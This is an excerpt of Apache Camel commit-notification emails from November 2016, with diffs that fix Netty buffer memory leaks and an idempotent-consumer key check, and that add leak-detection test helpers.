+ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
+}
+
+@AfterClass
+public static void verifyNoLeaks() throws Exception {
+//Force GC to bring up leaks
+System.gc();
+//Kick leak detection logging
+ByteBufAllocator.DEFAULT.buffer(1).release();
+Collection events = LogCaptureAppender.getEvents();
+if (!events.isEmpty()) {
+String message = "Leaks detected while running tests: " + events;
+LogCaptureAppender.reset();
+throw new AssertionError(message);
+}
+}
+
 @Override
 protected CamelContext createCamelContext() throws Exception {
 CamelContext context = super.createCamelContext();

http://git-wip-us.apache.org/repos/asf/camel/blob/c63d756a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
new file mode 100644
index 000..e53fb32
--- /dev/null
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
@@ -0,0 +1,65 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty4;
+
+import java.io.Serializable;
+import java.util.ArrayDeque;
+import java.util.Collection;
+import java.util.Deque;
+
+import org.apache.logging.log4j.core.Filter;
+import 

[2/4] camel git commit: CAMEL-10409 Double release of netty buffer: Addedtest

2016-11-15 Thread ningjiang
CAMEL-10409
Double release of netty buffer: Addedtest


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/d17d59b2
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/d17d59b2
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/d17d59b2

Branch: refs/heads/master
Commit: d17d59b2b28c796b7e978e8642c8c31a59b4e08d
Parents: 7a93699
Author: Vitalii Tymchyshyn 
Authored: Mon Nov 14 22:10:15 2016 -0500
Committer: Willem Jiang 
Committed: Tue Nov 15 14:05:10 2016 +0800

--
 .../netty4/http/NettyRequestManagementTest.java | 57 
 1 file changed, 57 insertions(+)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/d17d59b2/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
new file mode 100644
index 000..eec5537
--- /dev/null
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
@@ -0,0 +1,57 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty4.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.PooledByteBufAllocator;
+
+import org.apache.camel.Exchange;
+import org.apache.camel.builder.RouteBuilder;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Tests https://issues.apache.org/jira/browse/CAMEL-10409
+ */
+public class NettyRequestManagementTest extends BaseNettyTest {
+
+@Test
+public void testBufferManagement() {
+Exchange exchange = template.send("direct:start", e -> 
e.getIn().setBody("World"));
+Assert.assertEquals("Bye World", 
exchange.getIn().getBody(String.class));
+exchange.getProperty("buffer", ByteBuf.class).release();
+}
+
+private static void requestBuffer(Exchange exchange) {
+exchange.setProperty("buffer", 
PooledByteBufAllocator.DEFAULT.directBuffer());
+}
+
+@Override
+protected RouteBuilder createRouteBuilder() throws Exception {
+return new RouteBuilder() {
+@Override
+public void configure() throws Exception {
+from("netty4-http:http://0.0.0.0:{{port}}/foo;)
+.transform(body().prepend("Bye "));
+
+from("direct:start")
+
.to("netty4-http:http://localhost:{{port}}/foo?synchronous=true;)
+.process(NettyRequestManagementTest::requestBuffer);
+}
+};
+}
+}



[1/4] camel git commit: CAMEL-10409 Added memory leak check to camel-netty4 component

2016-11-15 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 762010031 -> f5dccb880


CAMEL-10409 Added memory leak check to camel-netty4 component


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/7a93699d
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/7a93699d
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/7a93699d

Branch: refs/heads/master
Commit: 7a93699dccf956d6574775a4d4288bbe9be21592
Parents: 7620100
Author: Willem Jiang 
Authored: Tue Nov 15 12:46:54 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 12:46:54 2016 +0800

--
 .../camel/component/netty4/BaseNettyTest.java   | 25 
 .../component/netty4/LogCaptureAppender.java| 65 
 .../camel/component/netty4/LogCaptureTest.java  | 35 +++
 .../src/test/resources/log4j2.properties|  6 ++
 4 files changed, 131 insertions(+)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/7a93699d/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
index c64465e..aeb5378 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
@@ -18,6 +18,7 @@ package org.apache.camel.component.netty4;
 
 import java.io.File;
 import java.io.FileOutputStream;
+import java.util.Collection;
 import java.util.Properties;
 
 import org.apache.camel.CamelContext;
@@ -26,9 +27,13 @@ import org.apache.camel.converter.IOConverter;
 import org.apache.camel.impl.JndiRegistry;
 import org.apache.camel.test.AvailablePortFinder;
 import org.apache.camel.test.junit4.CamelTestSupport;
+import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
 
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.ResourceLeakDetector;
+
 /**
  *
  */
@@ -65,6 +70,26 @@ public class BaseNettyTest extends CamelTestSupport {
 }
 }
 
+@BeforeClass
+public static void startLeakDetection() {
+System.setProperty("io.netty.leakDetection.maxRecords", "100");
+ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
+}
+
+@AfterClass
+public static void verifyNoLeaks() throws Exception {
+//Force GC to bring up leaks
+System.gc();
+//Kick leak detection logging
+ByteBufAllocator.DEFAULT.buffer(1).release();
+Collection events = LogCaptureAppender.getEvents();
+if (!events.isEmpty()) {
+String message = "Leaks detected while running tests: " + events;
+LogCaptureAppender.reset();
+throw new AssertionError(message);
+}
+}
+
 @Override
 protected CamelContext createCamelContext() throws Exception {
 CamelContext context = super.createCamelContext();

http://git-wip-us.apache.org/repos/asf/camel/blob/7a93699d/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
new file mode 100644
index 000..e53fb32
--- /dev/null
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/LogCaptureAppender.java
@@ -0,0 +1,65 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty4;
+
+import java.io.Serializable;
+import java.util.ArrayDeque;
+import java.util.Collection;
+import java.util.Deque;
+
+import 

[3/4] camel git commit: CAMEL-10480 Fixed the MemoryLeak in the DatagramPacketObjectEncoder

2016-11-15 Thread ningjiang
CAMEL-10480 Fixed the MemoryLeak in the DatagramPacketObjectEncoder


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/e56cc976
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/e56cc976
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/e56cc976

Branch: refs/heads/master
Commit: e56cc97612a07cedd5c67ff3c3b1e22bee525dfb
Parents: d17d59b
Author: Willem Jiang 
Authored: Tue Nov 15 16:49:39 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 16:49:39 2016 +0800

--
 .../component/netty4/codec/DatagramPacketObjectEncoder.java  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/e56cc976/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
index d57850e..9b903da 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
@@ -39,10 +39,10 @@ public class DatagramPacketObjectEncoder extends
   List out) throws Exception {
 if (msg.content() instanceof Serializable) {
 Serializable payload = (Serializable) msg.content();
-ByteBuf buf = ctx.alloc().heapBuffer();
+ByteBuf buf = ctx.alloc().buffer();
 delegateObjectEncoder.encode(ctx, payload, buf);
 AddressedEnvelope addressedEnvelop = 
-new DefaultAddressedEnvelope(buf.retain(), msg.recipient(), msg.sender());
+new DefaultAddressedEnvelope(buf, 
msg.recipient(), msg.sender());
 out.add(addressedEnvelop);
 }
 



[4/4] camel git commit: CAMEL-10409 Polish the BaseNettyTest to write some useful information of memory leak

2016-11-15 Thread ningjiang
CAMEL-10409 Polish the BaseNettyTest to write some useful information of memory 
leak


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/f5dccb88
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/f5dccb88
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/f5dccb88

Branch: refs/heads/master
Commit: f5dccb88037dbfc0dcb167afde122538ad6c6e68
Parents: e56cc97
Author: Willem Jiang 
Authored: Tue Nov 15 17:01:26 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 17:06:46 2016 +0800

--
 .../apache/camel/component/netty4/http/BaseNettyTest.java   | 9 +
 .../org/apache/camel/component/netty4/BaseNettyTest.java| 9 +
 2 files changed, 18 insertions(+)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/f5dccb88/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
index 75916e5..92788f9 100644
--- 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
@@ -33,11 +33,15 @@ import org.apache.camel.test.junit4.CamelTestSupport;
 import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 /**
  *
  */
 public class BaseNettyTest extends CamelTestSupport {
+protected static final Logger LOG = 
LoggerFactory.getLogger(BaseNettyTest.class);
+
 private static volatile int port;
 
 @BeforeClass
@@ -73,6 +77,7 @@ public class BaseNettyTest extends CamelTestSupport {
 @BeforeClass
 public static void startLeakDetection() {
 System.setProperty("io.netty.leakDetection.maxRecords", "100");
+System.setProperty("io.netty.leakDetection.acquireAndReleaseOnly", 
"true");
 ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
 }
 
@@ -85,6 +90,10 @@ public class BaseNettyTest extends CamelTestSupport {
 Collection events = LogCaptureAppender.getEvents();
 if (!events.isEmpty()) {
 String message = "Leaks detected while running tests: " + events;
+// Just write the message into log to help debug
+for(LogEvent event: events) {
+LOG.info(event.getMessage().getFormattedMessage());
+}
 LogCaptureAppender.reset();
 throw new AssertionError(message);
 }

http://git-wip-us.apache.org/repos/asf/camel/blob/f5dccb88/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
index aeb5378..3bd1431 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
@@ -30,6 +30,8 @@ import org.apache.camel.test.junit4.CamelTestSupport;
 import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 import io.netty.buffer.ByteBufAllocator;
 import io.netty.util.ResourceLeakDetector;
@@ -38,6 +40,8 @@ import io.netty.util.ResourceLeakDetector;
  *
  */
 public class BaseNettyTest extends CamelTestSupport {
+protected static final Logger LOG = 
LoggerFactory.getLogger(BaseNettyTest.class);
+
 private static volatile int port;
 
 @BeforeClass
@@ -73,6 +77,7 @@ public class BaseNettyTest extends CamelTestSupport {
 @BeforeClass
 public static void startLeakDetection() {
 System.setProperty("io.netty.leakDetection.maxRecords", "100");
+System.setProperty("io.netty.leakDetection.acquireAndReleaseOnly", 
"true");
 ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
 }
 
@@ -85,6 +90,10 @@ public class BaseNettyTest extends CamelTestSupport {
 Collection events = LogCaptureAppender.getEvents();
 if (!events.isEmpty()) {
 String message = "Leaks detected while running tests: " + events;
+// Just write the message into log to help debug
+for(LogEvent event: 

camel git commit: CAMEL-10454 fix key check

2016-11-14 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.17.x 95a7ed63f -> 5aa56a5b6


CAMEL-10454 fix key check


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/5aa56a5b
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/5aa56a5b
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/5aa56a5b

Branch: refs/heads/camel-2.17.x
Commit: 5aa56a5b6c3597873eae777e3023932d45b1367f
Parents: 95a7ed6
Author: Kevin Earls 
Authored: Mon Nov 14 20:29:17 2016 +0100
Committer: Willem Jiang 
Committed: Tue Nov 15 11:22:28 2016 +0800

--
 .../org/apache/camel/processor/idempotent/IdempotentConsumer.java  | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/5aa56a5b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
--
diff --git 
a/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
 
b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
index b4fb4f4..46521aa 100644
--- 
a/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
+++ 
b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
@@ -132,7 +132,7 @@ public class IdempotentConsumer extends ServiceSupport 
implements CamelContextAw
 } else {
 // check if we already have the key
 if (idempotentRepository instanceof 
ExchangeIdempotentRepository) {
-newKey = ((ExchangeIdempotentRepository) 
idempotentRepository).contains(exchange, messageId);
+newKey = !((ExchangeIdempotentRepository) 
idempotentRepository).contains(exchange, messageId);
 } else {
 newKey = !idempotentRepository.contains(messageId);
 }



[2/2] camel git commit: CAMEL-10454 fix key check

2016-11-14 Thread ningjiang
CAMEL-10454 fix key check


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/3f346ea8
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/3f346ea8
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/3f346ea8

Branch: refs/heads/camel-2.18.x
Commit: 3f346ea84c3e97d05f55f29bfeaa37f6159b8da7
Parents: 27b572d
Author: Kevin Earls 
Authored: Mon Nov 14 20:29:17 2016 +0100
Committer: Willem Jiang 
Committed: Tue Nov 15 10:57:02 2016 +0800

--
 .../org/apache/camel/processor/idempotent/IdempotentConsumer.java  | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/3f346ea8/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
--
diff --git 
a/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
 
b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
index b4fb4f4..46521aa 100644
--- 
a/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
+++ 
b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
@@ -132,7 +132,7 @@ public class IdempotentConsumer extends ServiceSupport 
implements CamelContextAw
 } else {
 // check if we already have the key
 if (idempotentRepository instanceof 
ExchangeIdempotentRepository) {
-newKey = ((ExchangeIdempotentRepository) 
idempotentRepository).contains(exchange, messageId);
+newKey = !((ExchangeIdempotentRepository) 
idempotentRepository).contains(exchange, messageId);
 } else {
 newKey = !idempotentRepository.contains(messageId);
 }



[1/2] camel git commit: CAMEL-10409 Double release of netty buffer with thanks to Vitalii

2016-11-14 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.18.x e6256ae9d -> 3f346ea84


CAMEL-10409 Double release of netty buffer with thanks to Vitalii

Conflicts:

components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/27b572dc
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/27b572dc
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/27b572dc

Branch: refs/heads/camel-2.18.x
Commit: 27b572dc10f3cb61e9ae77f6f42f7fc29c0ea6d4
Parents: e6256ae
Author: Willem Jiang 
Authored: Tue Nov 15 10:04:41 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 10:56:19 2016 +0800

--
 .../netty4/http/NettyHttpProducer.java  | 14 -
 .../component/netty4/http/BaseNettyTest.java| 25 
 .../netty4/http/LogCaptureAppender.java | 65 
 .../component/netty4/http/LogCaptureTest.java   | 35 +++
 .../src/test/resources/log4j2.properties|  7 +++
 .../camel/component/netty4/NettyProducer.java   | 43 +++--
 6 files changed, 169 insertions(+), 20 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/27b572dc/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
--
diff --git 
a/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
 
b/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
index 8a6b540..0be479a 100644
--- 
a/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
+++ 
b/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
@@ -74,20 +74,6 @@ public class NettyHttpProducer extends NettyProducer {
 // Need to remove the Host key as it should be not used when 
bridging/proxying
 exchange.getIn().removeHeader("host");
 }
-
-// need to release the request when we are done
-exchange.addOnCompletion(new SynchronizationAdapter() {
-@Override
-public void onDone(Exchange exchange) {
-if (request instanceof ReferenceCounted) {
-if (((ReferenceCounted) request).refCnt() > 0) {
-log.debug("Releasing Netty HttpRequest ByteBuf");
-ReferenceCountUtil.release(request);
-}
-}
-}
-});
-
 return request;
 }
 

http://git-wip-us.apache.org/repos/asf/camel/blob/27b572dc/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
index c511d89..75916e5 100644
--- 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
@@ -18,14 +18,19 @@ package org.apache.camel.component.netty4.http;
 
 import java.io.File;
 import java.io.FileOutputStream;
+import java.util.Collection;
 import java.util.Properties;
 
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.ResourceLeakDetector;
+
 import org.apache.camel.CamelContext;
 import org.apache.camel.component.properties.PropertiesComponent;
 import org.apache.camel.converter.IOConverter;
 import org.apache.camel.impl.JndiRegistry;
 import org.apache.camel.test.AvailablePortFinder;
 import org.apache.camel.test.junit4.CamelTestSupport;
+import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
 
@@ -65,6 +70,26 @@ public class BaseNettyTest extends CamelTestSupport {
 }
 }
 
+@BeforeClass
+public static void startLeakDetection() {
+System.setProperty("io.netty.leakDetection.maxRecords", "100");
+ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
+}
+
+@AfterClass
+public static void verifyNoLeaks() throws Exception {
+//Force GC to bring up leaks
+System.gc();
+//Kick leak detection logging
+ByteBufAllocator.DEFAULT.buffer(1).release();
+Collection events = LogCaptureAppender.getEvents();
+if (!events.isEmpty()) {
+String message = "Leaks 

camel git commit: CAMEL-10454 fix key check

2016-11-14 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 7d46782a7 -> 762010031


CAMEL-10454 fix key check


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/76201003
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/76201003
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/76201003

Branch: refs/heads/master
Commit: 762010031d0775f3b803a968fb2e0c2696fd7d75
Parents: 7d46782
Author: Kevin Earls 
Authored: Mon Nov 14 20:29:17 2016 +0100
Committer: Willem Jiang 
Committed: Tue Nov 15 10:44:19 2016 +0800

--
 .../org/apache/camel/processor/idempotent/IdempotentConsumer.java  | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/76201003/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
--
diff --git 
a/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
 
b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
index b4fb4f4..46521aa 100644
--- 
a/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
+++ 
b/camel-core/src/main/java/org/apache/camel/processor/idempotent/IdempotentConsumer.java
@@ -132,7 +132,7 @@ public class IdempotentConsumer extends ServiceSupport 
implements CamelContextAw
 } else {
 // check if we already have the key
 if (idempotentRepository instanceof 
ExchangeIdempotentRepository) {
-newKey = ((ExchangeIdempotentRepository) 
idempotentRepository).contains(exchange, messageId);
+newKey = !((ExchangeIdempotentRepository) 
idempotentRepository).contains(exchange, messageId);
 } else {
 newKey = !idempotentRepository.contains(messageId);
 }



camel git commit: CAMEL-10409 Double release of netty buffer with thanks to Vitalii

2016-11-14 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master 268b6947e -> 7d46782a7


CAMEL-10409 Double release of netty buffer with thanks to Vitalii


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/7d46782a
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/7d46782a
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/7d46782a

Branch: refs/heads/master
Commit: 7d46782a7bad42053dd5fb0d27281a85f4ec08c4
Parents: 268b6947
Author: Willem Jiang 
Authored: Tue Nov 15 10:04:41 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 10:25:46 2016 +0800

--
 .../netty4/http/NettyHttpProducer.java  | 13 
 .../component/netty4/http/BaseNettyTest.java| 25 
 .../netty4/http/LogCaptureAppender.java | 65 
 .../component/netty4/http/LogCaptureTest.java   | 35 +++
 .../src/test/resources/log4j2.properties|  7 +++
 .../camel/component/netty4/NettyProducer.java   | 43 +++--
 6 files changed, 169 insertions(+), 19 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/7d46782a/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
--
diff --git 
a/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
 
b/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
index 31710e0..1ee3616 100644
--- 
a/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
+++ 
b/components/camel-netty4-http/src/main/java/org/apache/camel/component/netty4/http/NettyHttpProducer.java
@@ -86,19 +86,6 @@ public class NettyHttpProducer extends NettyProducer {
 }
 }
 
-// need to release the request when we are done
-exchange.addOnCompletion(new SynchronizationAdapter() {
-@Override
-public void onDone(Exchange exchange) {
-if (request instanceof ReferenceCounted) {
-if (((ReferenceCounted) request).refCnt() > 0) {
-log.debug("Releasing Netty HttpRequest ByteBuf");
-ReferenceCountUtil.release(request);
-}
-}
-}
-});
-
 return request;
 }
 

http://git-wip-us.apache.org/repos/asf/camel/blob/7d46782a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
index c511d89..75916e5 100644
--- 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
@@ -18,14 +18,19 @@ package org.apache.camel.component.netty4.http;
 
 import java.io.File;
 import java.io.FileOutputStream;
+import java.util.Collection;
 import java.util.Properties;
 
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.ResourceLeakDetector;
+
 import org.apache.camel.CamelContext;
 import org.apache.camel.component.properties.PropertiesComponent;
 import org.apache.camel.converter.IOConverter;
 import org.apache.camel.impl.JndiRegistry;
 import org.apache.camel.test.AvailablePortFinder;
 import org.apache.camel.test.junit4.CamelTestSupport;
+import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
 
@@ -65,6 +70,26 @@ public class BaseNettyTest extends CamelTestSupport {
 }
 }
 
+@BeforeClass
+public static void startLeakDetection() {
+System.setProperty("io.netty.leakDetection.maxRecords", "100");
+ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
+}
+
+@AfterClass
+public static void verifyNoLeaks() throws Exception {
+//Force GC to bring up leaks
+System.gc();
+//Kick leak detection logging
+ByteBufAllocator.DEFAULT.buffer(1).release();
+Collection events = LogCaptureAppender.getEvents();
+if (!events.isEmpty()) {
+String message = "Leaks detected while running tests: " + events;
+LogCaptureAppender.reset();
+throw new AssertionError(message);
+}
+}
+
 @Override
 protected CamelContext createCamelContext() throws Exception {
 CamelContext context = 

camel git commit: CAMEL-10441 Updated the documentation of WorkerGroup option in camel-netty4

2016-11-03 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.18.x 8351873ee -> c5a8c6778


CAMEL-10441 Updated the documentation of WorkerGroup option in camel-netty4


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/c5a8c677
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/c5a8c677
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/c5a8c677

